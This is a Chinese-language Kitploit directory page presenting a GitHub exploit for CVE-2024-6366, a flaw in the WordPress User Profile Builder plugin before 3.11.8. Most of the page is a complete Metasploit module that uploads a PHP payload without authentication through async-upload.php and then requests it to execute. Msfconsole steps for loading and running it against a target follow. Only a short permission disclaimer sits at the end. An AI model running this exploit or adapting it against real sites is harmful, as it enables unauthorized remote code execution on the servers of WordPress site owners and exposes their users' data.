Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6366 — Metasploit 模块,用于 CVE-2024-6366:未授权文件上传 RCE,影响 WordPress User Profile Builder 插件 3.11.8 之前的版本。通过 async-upload.php 上传并执行 PHP 负载。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/cve-2024-6366
漏洞利用框架漏洞分析代码分析Web应用程序漏洞利用渗透测试Payload 开发
GitHubabdurahmon3236/cve-2024-6366

CVE-2024-6366

Metasploit 模块,用于 CVE-2024-6366:未授权文件上传 RCE,影响 WordPress User Profile Builder 插件 3.11.8 之前的版本。通过 async-upload.php 上传并执行 PHP 负载。

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

为了在WordPress插件User Profile Builder 3.11.8之前版本中利用RCE漏洞创建Metasploit模块,我们需要利用媒体文件上传功能中缺乏适当授权的问题。以下是创建此类Metasploit模块的方法:

Metasploit模块

将以下代码保存为wordpress_user_profile_builder_rce.rb,并放置在Metasploit Framework安装目录的modules/exploits/unix/webapp文件夹中。

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
      'Description'    => %q{
        本模块利用WordPress插件User Profile Builder 3.11.8之前版本中的一个漏洞。
        该插件缺少适当的授权,允许未认证用户通过异步上传功能上传媒体文件。
        这可用于上传并执行恶意PHP有效负载。
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-6366'],  # 替换为实际的CVE标识符
          ['URL', 'https://example.com/advisory'] # 如果有公告链接请替换
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'WordPress User Profile Builder < 3.11.8', {} ]
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "WordPress安装的基础路径", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.body.include?('wp-content/plugins/user-profile-builder')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_payload = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
    data.add_part('1', nil, nil, 'form-data; name="html-upload"')
    data.add_part('Upload', nil, nil, 'form-data; name="upload"')

    print_status("正在上传PHP有效负载...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    })

    if res && res.code == 200 && res.body.include?('.php')
      php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
      print_good("有效负载上传成功:#{php_path}")

      register_files_for_cleanup(php_path)
      execute_command("#{php_path}")
    else
      fail_with(Failure::UnexpectedReply, '上传有效负载失败')
    end
  end

  def execute_command(php_path)
    print_status("正在执行PHP有效负载...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_path)
    })
  end
end

使用说明

  1. 保存模块: 将模块保存为wordpress_user_profile_builder_rce.rb,并放置在Metasploit Framework安装目录的modules/exploits/unix/webapp文件夹中。

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
    
  2. 加载Metasploit: 打开终端并运行以下命令启动Metasploit Framework:

    root@kitploit:~
    msfconsole
    
  3. 使用新模块: 在Metasploit控制台中,使用以下命令加载新的漏洞利用模块:

    root@kitploit:~
    use exploit/unix/webapp/wordpress_user_profile_builder_rce
    
  4. 配置并运行: 设置必要选项,例如RHOSTS和TARGETURI。然后运行漏洞利用。

    root@kitploit:~
    msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
    

重要注意事项

  • 在测试或利用任何系统之前,请确保您具有适当的权限。
  • 此模块是一个基本模板,可能需要根据特定目标设置或具体目标进行调整。
  • 始终在安全和受控的环境中测试模块,然后再用于任何生产系统。

此Metasploit模块将恶意PHP文件上传到易受攻击的WordPress安装,然后执行它以实现远程代码执行。根据漏洞的具体性质和目标环境,根据需要调整有效负载和模块。

下载工具